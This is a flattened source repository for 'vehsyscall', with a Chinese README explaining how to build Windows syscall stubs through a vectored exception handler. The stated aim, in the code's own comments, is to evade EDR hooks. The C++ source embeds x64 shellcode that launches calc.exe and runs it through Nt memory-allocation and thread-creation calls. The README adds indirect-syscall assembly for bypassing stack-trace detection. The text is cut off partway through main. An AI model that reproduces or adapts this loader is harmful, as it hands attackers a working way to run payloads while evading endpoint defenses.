├── README.md ├── vehsyscall.sln └── vehsyscall ├── coleak.asm ├── peb.h ├── vehsyscall.cpp ├── vehsyscall.vcxproj ├── vehsyscall.vcxproj.filters └── vehsyscall.vcxproj.user /README.md: -------------------------------------------------------------------------------- 1 | ## 前记 2 | 3 | 历史热门syscall项目 4 | 5 | - Hell’s Gate:地狱之门【查找hash】 6 | - Halo's Gate:光环之门【上下遍历】 7 | - Spoofing-Gate:欺骗之门【替换伪造】 8 | - ParallelSyscalls【内存修复】 9 | - GetSSN【遍历排序】 10 | - SysWhispers3【查找替换】 11 | 12 | 上面的项目都很不错,值得学习。今天介绍的是一个冷门的syscall方法:**VEH syscall** 13 | 14 | **项目已开源,求个stars嘻嘻嘻** 15 | 16 | ``` 17 | https://github.com/coleak2021/vehsyscall 18 | ``` 19 | 20 | 21 | 22 | ## VEH syscall 23 | 24 | **VEH基础** 25 | 26 | ```c 27 | #include 28 | #include 29 | 30 | // VEH原型 31 | LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo); 32 | LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) { 33 | // 检查是否存在访问冲突 34 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 35 | printf("Access violation detected!\n"); 36 | // 处理访问冲突的代码段 37 | } 38 | 39 | // 处理其他额外异常的代码段 40 | 41 | // EXCEPTION_CONTINUE_SEARCH返回值为0,并且调用下一个处理程序函数 42 | return EXCEPTION_CONTINUE_SEARCH; 43 | } 44 | 45 | int main() { 46 | // 注册VEH 47 | PVOID handle = AddVectoredExceptionHandler(1, VectoredExceptionHandler); 48 | // 取消注册VEH 49 | RemoveVectoredExceptionHandler(handle); 50 | return 0; 51 | } 52 | ``` 53 | 54 | 55 | 56 | **VEH syscall流程** 57 | 58 | ![image-20240229092953218](https://github.com/coleak2021/vehsyscall/assets/103516488/bd5656a2-81a8-4307-a12a-8dd813dc7a31) 59 | 60 | 61 | 62 | ```c 63 | // Vectored Exception Handler function 64 | LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) { 65 | // Check if the exception is an access violation 66 | if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 67 | // Modify the thread's context to redirect execution to the syscall address 68 | // Copy RCX register to R10 69 | exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx; 70 | 71 | // Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN) 72 | exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip; 73 | 74 | // Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register) 75 | exception_ptr->ContextRecord->Rip = g_syscall_addr; 76 | 77 | // Continue execution at the new instruction pointer 78 | return EXCEPTION_CONTINUE_EXECUTION; 79 | } 80 | // Continue searching for another exception handler 81 | return EXCEPTION_CONTINUE_SEARCH; 82 | } 83 | ``` 84 | 85 | > 这里通过ContextRecord修改程序上下文中的寄存器值构造了syscall stub 86 | 87 | 88 | 89 | **vehsyscall关键代码分析** 90 | 91 | ```c 92 | // define var 93 | std::map Nt_Table; 94 | DWORD t = 0; 95 | LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr 96 | 97 | //main function 98 | int main(int argc, char* argv[]) { 99 | //exec NtAllocateVirtualMemory 100 | NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL; 101 | t = GetSSN("ZwAllocateVirtualMemory"); 102 | pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 103 | 104 | //write your code 105 | VxMoveMemory(lpAddress, rawData, sizeof(rawData)); 106 | 107 | //exec NtProtectVirtualMemory 108 | NtProtectVirtualMemory pNtProtectVirtualMemory = NULL; 109 | t = GetSSN("ZwProtectVirtualMemory"); 110 | pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 111 | 112 | 113 | //exec NtCreateThreadEx 114 | pNtCreateThreadEx NtCreateThreadEx = NULL; 115 | t = GetSSN("ZwCreateThreadEx"); 116 | NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL); 117 | WaitForSingleObject(hThread, INFINITE); 118 | return 0; 119 | } 120 | 121 | int GetSSN(std::string apiname) 122 | { 123 | int index = 0; 124 | for (std::map::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) 125 | { 126 | if (apiname == iter->second) 127 | return index; 128 | index++; 129 | } 130 | } 131 | 132 | //VEH function 133 | LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) { 134 | // handle EXCEPTION_ACCESS_VIOLATION 135 | if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 136 | // Construct syscall stub 137 | 138 | pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx 139 | hello(); 140 | pExceptionInfo->ContextRecord->Rax = t; //mov rax,xxx 141 | hello(); 142 | pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall 143 | hello(); 144 | return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code 145 | } 146 | return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH 147 | } 148 | ``` 149 | 150 | > 通过遍历‘Zw’的map获取SSN,利用EXCEPTION_ACCESS_VIOLATION异常处理进行syscall stub构造 151 | 152 | 153 | 154 | **coleak.asm** 155 | 156 | ```asm 157 | .data 158 | name db 'coleak',0 159 | 160 | .code 161 | hello PROC 162 | nop 163 | mov eax,ebx 164 | mov ebx,edx 165 | mov ebx,eax 166 | nop 167 | mov edx,ebx 168 | ret 169 | hello ENDP 170 | end 171 | ``` 172 | 173 | > 简单打乱下syscall stub的特征 174 | 175 | 176 | 177 | ## 后记 178 | 179 | **_LDR_DATA_TABLE_ENTRY** 180 | 181 | 根据InMemoryOrderModuleList的Flink值查找对应结构时,一定要减去16字节(0x10),以保证我们正确对齐(x86或x64皆如此) 182 | 183 | 184 | 185 | **段寄存器** 186 | 187 | x64 GS 188 | 189 | ```c 190 | gs:[0x30] TEB 191 | gs:[0x40] Pid 192 | gs:[0x48] Tid 193 | gs:[0x60] PEB 194 | gs:[0x68] LastError 195 | ``` 196 | 197 | x86 FS 198 | 199 | ```c 200 | 一、MOV EAX, FS: [0x18] 201 | MOV EAX, [EAX + 0x30] 202 | 二、MOV EAX, FS: [0x30] 203 | //peb 204 | ``` 205 | 206 | 207 | 208 | **PEB地址** 209 | 210 | - ​ 在x86进程的线程进程块(**TEB**)中FS寄存器中的0x30偏移处找到。 211 | - ​ 在x64进程的线程进程块(**TEB**)中GS寄存器中的0x60偏移处找到。 212 | 213 | 214 | 215 | ***OSMajorVersion*** 216 | 一个表示操作系统的主版本号的数字。 下表定义了 Windows 操作系统的主版本。 217 | 218 | ```c 219 | Windows 版本 主版本 220 | Windows 11 (所有版本) 10 221 | Windows Server 2022 10 222 | Windows Server 2019 10 223 | Windows Server 2016 10 224 | Windows 10 (所有版本) 10 225 | Windows Server 2012 R2 6 226 | Windows 8.1 6 227 | Windows Server 2012 6 228 | Windows 8 6 229 | Windows Server 2008 R2 6 230 | Windows 7 6 231 | Windows Server 2008 6 232 | Windows Vista 6 233 | Windows Server 2003 R2 5 234 | Windows Server 2003 5 235 | Windows XP 5 236 | Windows 2000 5 237 | ``` 238 | 239 | 240 | 241 | **内存小端存储** 242 | 243 | ![image-20240228164732206](https://github.com/coleak2021/vehsyscall/assets/103516488/57d29b31-7d9e-49ee-b0d0-a2426f24f042) 244 | 245 | 246 | 247 | 248 | **栈回溯检测syscall** 249 | 250 | ``` 251 | 正常系统调用时,主程序模块->kernel32.dll->ntdll.dll->syscall,这样当0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在的地址范围之内。直接调用syscall时,rip将会是你的主程序模块内,而并不是在ntdll所在的范围内。 252 | ``` 253 | 254 | ![image-20220310014525396](https://github.com/coleak2021/vehsyscall/assets/103516488/9aebd248-a441-4aec-931d-e09c705897bf) 255 | 256 | 257 | 当然同样很好绕过,使用间接调用,也就是在ntdll中调用syscall stub的末尾部分,调用完成后会返回到ntdll,即syscall和return指令在 ntdll.dll 内存中的syscall stub执行 258 | 259 | ```c 260 | .CODE ; indirect syscalls assembly code 261 | ; Procedure for the NtAllocateVirtualMemory syscall 262 | NtAllocateVirtualMemory PROC 263 | mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. 264 | mov eax, 18h ; Move the syscall number into the eax register. 265 | jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall memory address in ntdll.dll 266 | NtAllocateVirtualMemory ENDP ; End of the procedure 267 | ``` 268 | 269 | 270 | 271 | **Exception-Handler返回值** 272 | 273 | | 值 | 含义 | 274 | | :--------------------------- | :----------------------------------------------------------- | 275 | | EXCEPTION_EXECUTE_HANDLER | 系统将控制权转移到异常处理程序,并在找到处理程序的堆栈帧中继续执行。 | 276 | | EXCEPTION_CONTINUE_SEARCH | 系统继续搜索处理程序。 | 277 | | EXCEPTION_CONTINUE_EXECUTION | 系统停止对处理程序的搜索,并将控制权返回到发生异常的点。 如果异常不可持续,则会导致 **EXCEPTION_NONCONTINUABLE_EXCEPTION** 异常。 | 278 | 279 | 280 | 281 | ## Reference 282 | 283 | ``` 284 | https://xz.aliyun.com/t/13582?time__1311=mqmxnQiQG%3DDQDtG8DlcIo0%3D%3DaRiCd84D&alichlgref=https%3A%2F%2Fcn.bing.com%2F 285 | https://0range-x.github.io/2022/03/14/syscall/ 286 | https://github.com/am0nsec/HellsGate 287 | ``` 288 | 289 | -------------------------------------------------------------------------------- /vehsyscall.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34525.116 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vehsyscall", "vehsyscall\vehsyscall.vcxproj", "{23D3E858-93D2-4DE9-8CB9-7982273F04E8}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Debug|x64.ActiveCfg = Debug|x64 17 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Debug|x64.Build.0 = Debug|x64 18 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Debug|x86.ActiveCfg = Debug|Win32 19 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Debug|x86.Build.0 = Debug|Win32 20 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Release|x64.ActiveCfg = Release|x64 21 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Release|x64.Build.0 = Release|x64 22 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Release|x86.ActiveCfg = Release|Win32 23 | {23D3E858-93D2-4DE9-8CB9-7982273F04E8}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {64D281D4-275A-4FA8-9A4A-5C70ECADB537} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /vehsyscall/coleak.asm: -------------------------------------------------------------------------------- 1 | .data 2 | name db 'coleak',0 3 | 4 | .code 5 | hello PROC 6 | nop 7 | mov eax,ebx 8 | mov ebx,edx 9 | mov ebx,eax 10 | nop 11 | mov edx,ebx 12 | ret 13 | hello ENDP 14 | end -------------------------------------------------------------------------------- /vehsyscall/peb.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | typedef struct _LSA_UNICODE_STRING { 4 | USHORT Length; 5 | USHORT MaximumLength; 6 | PWSTR Buffer; 7 | } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; 8 | 9 | typedef struct _LDR_MODULE { 10 | LIST_ENTRY InLoadOrderModuleList; 11 | LIST_ENTRY InMemoryOrderModuleList; 12 | LIST_ENTRY InInitializationOrderModuleList; 13 | PVOID BaseAddress; 14 | PVOID EntryPoint; 15 | ULONG SizeOfImage; 16 | UNICODE_STRING FullDllName; 17 | UNICODE_STRING BaseDllName; 18 | ULONG Flags; 19 | SHORT LoadCount; 20 | SHORT TlsIndex; 21 | LIST_ENTRY HashTableEntry; 22 | ULONG TimeDateStamp; 23 | } LDR_MODULE, * PLDR_MODULE; 24 | 25 | typedef struct _PEB_LDR_DATA { 26 | ULONG Length; 27 | ULONG Initialized; 28 | PVOID SsHandle; 29 | LIST_ENTRY InLoadOrderModuleList; 30 | LIST_ENTRY InMemoryOrderModuleList; 31 | LIST_ENTRY InInitializationOrderModuleList; 32 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 33 | 34 | typedef struct _PEB { 35 | BOOLEAN InheritedAddressSpace; 36 | BOOLEAN ReadImageFileExecOptions; 37 | BOOLEAN BeingDebugged; 38 | BOOLEAN Spare; 39 | HANDLE Mutant; 40 | PVOID ImageBase; 41 | PPEB_LDR_DATA LoaderData; 42 | PVOID ProcessParameters; 43 | PVOID SubSystemData; 44 | PVOID ProcessHeap; 45 | PVOID FastPebLock; 46 | PVOID FastPebLockRoutine; 47 | PVOID FastPebUnlockRoutine; 48 | ULONG EnvironmentUpdateCount; 49 | PVOID* KernelCallbackTable; 50 | PVOID EventLogSection; 51 | PVOID EventLog; 52 | PVOID FreeList; 53 | ULONG TlsExpansionCounter; 54 | PVOID TlsBitmap; 55 | ULONG TlsBitmapBits[0x2]; 56 | PVOID ReadOnlySharedMemoryBase; 57 | PVOID ReadOnlySharedMemoryHeap; 58 | PVOID* ReadOnlyStaticServerData; 59 | PVOID AnsiCodePageData; 60 | PVOID OemCodePageData; 61 | PVOID UnicodeCaseTableData; 62 | ULONG NumberOfProcessors; 63 | ULONG NtGlobalFlag; 64 | BYTE Spare2[0x4]; 65 | LARGE_INTEGER CriticalSectionTimeout; 66 | ULONG HeapSegmentReserve; 67 | ULONG HeapSegmentCommit; 68 | ULONG HeapDeCommitTotalFreeThreshold; 69 | ULONG HeapDeCommitFreeBlockThreshold; 70 | ULONG NumberOfHeaps; 71 | ULONG MaximumNumberOfHeaps; 72 | PVOID** ProcessHeaps; 73 | PVOID GdiSharedHandleTable; 74 | PVOID ProcessStarterHelper; 75 | PVOID GdiDCAttributeList; 76 | PVOID LoaderLock; 77 | ULONG OSMajorVersion; 78 | ULONG OSMinorVersion; 79 | ULONG OSBuildNumber; 80 | ULONG OSPlatformId; 81 | ULONG ImageSubSystem; 82 | ULONG ImageSubSystemMajorVersion; 83 | ULONG ImageSubSystemMinorVersion; 84 | ULONG GdiHandleBuffer[0x22]; 85 | ULONG PostProcessInitRoutine; 86 | ULONG TlsExpansionBitmap; 87 | BYTE TlsExpansionBitmapBits[0x80]; 88 | ULONG SessionId; 89 | } PEB, * PPEB; 90 | 91 | typedef struct __CLIENT_ID { 92 | HANDLE UniqueProcess; 93 | HANDLE UniqueThread; 94 | } CLIENT_ID, * PCLIENT_ID; 95 | 96 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT { 97 | ULONG Flags; 98 | PCHAR FrameName; 99 | } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; 100 | 101 | typedef struct _TEB_ACTIVE_FRAME { 102 | ULONG Flags; 103 | struct _TEB_ACTIVE_FRAME* Previous; 104 | PTEB_ACTIVE_FRAME_CONTEXT Context; 105 | } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; 106 | 107 | typedef struct _GDI_TEB_BATCH { 108 | ULONG Offset; 109 | ULONG HDC; 110 | ULONG Buffer[310]; 111 | } GDI_TEB_BATCH, * PGDI_TEB_BATCH; 112 | 113 | typedef PVOID PACTIVATION_CONTEXT; 114 | 115 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { 116 | struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; 117 | PACTIVATION_CONTEXT ActivationContext; 118 | ULONG Flags; 119 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; 120 | 121 | typedef struct _ACTIVATION_CONTEXT_STACK { 122 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; 123 | LIST_ENTRY FrameListCache; 124 | ULONG Flags; 125 | ULONG NextCookieSequenceNumber; 126 | ULONG StackId; 127 | } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; 128 | 129 | typedef struct _TEB { 130 | NT_TIB NtTib; 131 | PVOID EnvironmentPointer; 132 | CLIENT_ID ClientId; 133 | PVOID ActiveRpcHandle; 134 | PVOID ThreadLocalStoragePointer; 135 | PPEB ProcessEnvironmentBlock; 136 | ULONG LastErrorValue; 137 | ULONG CountOfOwnedCriticalSections; 138 | PVOID CsrClientThread; 139 | PVOID Win32ThreadInfo; 140 | ULONG User32Reserved[26]; 141 | ULONG UserReserved[5]; 142 | PVOID WOW32Reserved; 143 | LCID CurrentLocale; 144 | ULONG FpSoftwareStatusRegister; 145 | PVOID SystemReserved1[54]; 146 | LONG ExceptionCode; 147 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 148 | PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; 149 | UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; 150 | ULONG TxFsContext; 151 | #elif (NTDDI_VERSION >= NTDDI_WS03) 152 | PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; 153 | UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; 154 | #else 155 | ACTIVATION_CONTEXT_STACK ActivationContextStack; 156 | UCHAR SpareBytes1[24]; 157 | #endif 158 | GDI_TEB_BATCH GdiTebBatch; 159 | CLIENT_ID RealClientId; 160 | PVOID GdiCachedProcessHandle; 161 | ULONG GdiClientPID; 162 | ULONG GdiClientTID; 163 | PVOID GdiThreadLocalInfo; 164 | PSIZE_T Win32ClientInfo[62]; 165 | PVOID glDispatchTable[233]; 166 | PSIZE_T glReserved1[29]; 167 | PVOID glReserved2; 168 | PVOID glSectionInfo; 169 | PVOID glSection; 170 | PVOID glTable; 171 | PVOID glCurrentRC; 172 | PVOID glContext; 173 | NTSTATUS LastStatusValue; 174 | UNICODE_STRING StaticUnicodeString; 175 | WCHAR StaticUnicodeBuffer[261]; 176 | PVOID DeallocationStack; 177 | PVOID TlsSlots[64]; 178 | LIST_ENTRY TlsLinks; 179 | PVOID Vdm; 180 | PVOID ReservedForNtRpc; 181 | PVOID DbgSsReserved[2]; 182 | #if (NTDDI_VERSION >= NTDDI_WS03) 183 | ULONG HardErrorMode; 184 | #else 185 | ULONG HardErrorsAreDisabled; 186 | #endif 187 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 188 | PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; 189 | GUID ActivityId; 190 | PVOID SubProcessTag; 191 | PVOID EtwLocalData; 192 | PVOID EtwTraceData; 193 | #elif (NTDDI_VERSION >= NTDDI_WS03) 194 | PVOID Instrumentation[14]; 195 | PVOID SubProcessTag; 196 | PVOID EtwLocalData; 197 | #else 198 | PVOID Instrumentation[16]; 199 | #endif 200 | PVOID WinSockData; 201 | ULONG GdiBatchCount; 202 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 203 | BOOLEAN SpareBool0; 204 | BOOLEAN SpareBool1; 205 | BOOLEAN SpareBool2; 206 | #else 207 | BOOLEAN InDbgPrint; 208 | BOOLEAN FreeStackOnTermination; 209 | BOOLEAN HasFiberData; 210 | #endif 211 | UCHAR IdealProcessor; 212 | #if (NTDDI_VERSION >= NTDDI_WS03) 213 | ULONG GuaranteedStackBytes; 214 | #else 215 | ULONG Spare3; 216 | #endif 217 | PVOID ReservedForPerf; 218 | PVOID ReservedForOle; 219 | ULONG WaitingOnLoaderLock; 220 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 221 | PVOID SavedPriorityState; 222 | ULONG_PTR SoftPatchPtr1; 223 | ULONG_PTR ThreadPoolData; 224 | #elif (NTDDI_VERSION >= NTDDI_WS03) 225 | ULONG_PTR SparePointer1; 226 | ULONG_PTR SoftPatchPtr1; 227 | ULONG_PTR SoftPatchPtr2; 228 | #else 229 | Wx86ThreadState Wx86Thread; 230 | #endif 231 | PVOID* TlsExpansionSlots; 232 | #if defined(_WIN64) && !defined(EXPLICIT_32BIT) 233 | PVOID DeallocationBStore; 234 | PVOID BStoreLimit; 235 | #endif 236 | ULONG ImpersonationLocale; 237 | ULONG IsImpersonating; 238 | PVOID NlsCache; 239 | PVOID pShimData; 240 | ULONG HeapVirtualAffinity; 241 | HANDLE CurrentTransactionHandle; 242 | PTEB_ACTIVE_FRAME ActiveFrame; 243 | #if (NTDDI_VERSION >= NTDDI_WS03) 244 | PVOID FlsData; 245 | #endif 246 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 247 | PVOID PreferredLangauges; 248 | PVOID UserPrefLanguages; 249 | PVOID MergedPrefLanguages; 250 | ULONG MuiImpersonation; 251 | union 252 | { 253 | struct 254 | { 255 | USHORT SpareCrossTebFlags : 16; 256 | }; 257 | USHORT CrossTebFlags; 258 | }; 259 | union 260 | { 261 | struct 262 | { 263 | USHORT DbgSafeThunkCall : 1; 264 | USHORT DbgInDebugPrint : 1; 265 | USHORT DbgHasFiberData : 1; 266 | USHORT DbgSkipThreadAttach : 1; 267 | USHORT DbgWerInShipAssertCode : 1; 268 | USHORT DbgIssuedInitialBp : 1; 269 | USHORT DbgClonedThread : 1; 270 | USHORT SpareSameTebBits : 9; 271 | }; 272 | USHORT SameTebFlags; 273 | }; 274 | PVOID TxnScopeEntercallback; 275 | PVOID TxnScopeExitCAllback; 276 | PVOID TxnScopeContext; 277 | ULONG LockCount; 278 | ULONG ProcessRundown; 279 | ULONG64 LastSwitchTime; 280 | ULONG64 TotalSwitchOutTime; 281 | LARGE_INTEGER WaitReasonBitMap; 282 | #else 283 | BOOLEAN SafeThunkCall; 284 | BOOLEAN BooleanSpare[3]; 285 | #endif 286 | } TEB, * PTEB; 287 | 288 | typedef struct _LDR_DATA_TABLE_ENTRY { 289 | LIST_ENTRY InLoadOrderLinks; 290 | LIST_ENTRY InMemoryOrderLinks; 291 | LIST_ENTRY InInitializationOrderLinks; 292 | PVOID DllBase; 293 | PVOID EntryPoint; 294 | ULONG SizeOfImage; 295 | UNICODE_STRING FullDllName; 296 | UNICODE_STRING BaseDllName; 297 | ULONG Flags; 298 | WORD LoadCount; 299 | WORD TlsIndex; 300 | union { 301 | LIST_ENTRY HashLinks; 302 | struct { 303 | PVOID SectionPointer; 304 | ULONG CheckSum; 305 | }; 306 | }; 307 | union { 308 | ULONG TimeDateStamp; 309 | PVOID LoadedImports; 310 | }; 311 | PACTIVATION_CONTEXT EntryPointActivationContext; 312 | PVOID PatchInformation; 313 | LIST_ENTRY ForwarderLinks; 314 | LIST_ENTRY ServiceTagLinks; 315 | LIST_ENTRY StaticLinks; 316 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 317 | 318 | typedef struct _OBJECT_ATTRIBUTES { 319 | ULONG Length; 320 | PVOID RootDirectory; 321 | PUNICODE_STRING ObjectName; 322 | ULONG Attributes; 323 | PVOID SecurityDescriptor; 324 | PVOID SecurityQualityOfService; 325 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 326 | 327 | typedef struct _INITIAL_TEB { 328 | PVOID StackBase; 329 | PVOID StackLimit; 330 | PVOID StackCommit; 331 | PVOID StackCommitMax; 332 | PVOID StackReserved; 333 | } INITIAL_TEB, * PINITIAL_TEB; -------------------------------------------------------------------------------- /vehsyscall/vehsyscall.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "peb.h" 5 | #include 6 | using namespace std; 7 | 8 | // define var 9 | std::map Nt_Table; 10 | DWORD t = 0; 11 | LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr 12 | 13 | // function model 14 | typedef DWORD(WINAPI* pNtCreateThreadEx)( 15 | PHANDLE hThread, 16 | ACCESS_MASK DesiredAccess, 17 | PVOID ObjectAttributes, 18 | HANDLE ProcessHandle, 19 | PVOID lpStartAddress, 20 | PVOID lpParameter, 21 | ULONG Flags, 22 | SIZE_T StackZeroBits, 23 | SIZE_T SizeOfStackCommit, 24 | SIZE_T SizeOfStackReserve, 25 | PVOID lpBytesBuffer 26 | ); 27 | typedef DWORD(WINAPI* NtAllocateVirtualMemory)( 28 | HANDLE ProcessHandle, 29 | PVOID* BaseAddress, 30 | ULONG_PTR ZeroBits, 31 | PSIZE_T RegionSize, 32 | ULONG AllocationType, 33 | ULONG Protect 34 | ); 35 | typedef DWORD(WINAPI* NtProtectVirtualMemory)( 36 | HANDLE ProcessHandle, 37 | PVOID* BaseAddress, 38 | PSIZE_T RegionSize, 39 | ULONG Protect, 40 | PDWORD oldProtect 41 | ); 42 | //function declare 43 | int GetSSN(std::string apiname); 44 | void savemap(); 45 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len); 46 | LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo); 47 | extern "C" extern VOID hello(); 48 | 49 | //calc shellcode 50 | unsigned char rawData[276] = { 51 | 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 52 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 53 | 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 54 | 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 55 | 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 56 | 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 57 | 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 58 | 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 59 | 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 60 | 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 61 | 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 62 | 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 63 | 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 64 | 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 65 | 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 66 | 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 67 | 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 68 | 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 69 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 70 | 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 71 | 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 72 | 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 73 | 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00 74 | }; 75 | 76 | //main function 77 | int main(int argc, char* argv[]) { 78 | savemap(); 79 | // register VEH function 80 | AddVectoredExceptionHandler(1, VectExceptionHandler); // first jmp to VectExceptionHandler 81 | 82 | //Initialization parameter 83 | HANDLE hProcess = GetCurrentProcess(); 84 | HANDLE hThread; 85 | PVOID lpAddress = NULL; 86 | SIZE_T sDataSize = sizeof(rawData); 87 | 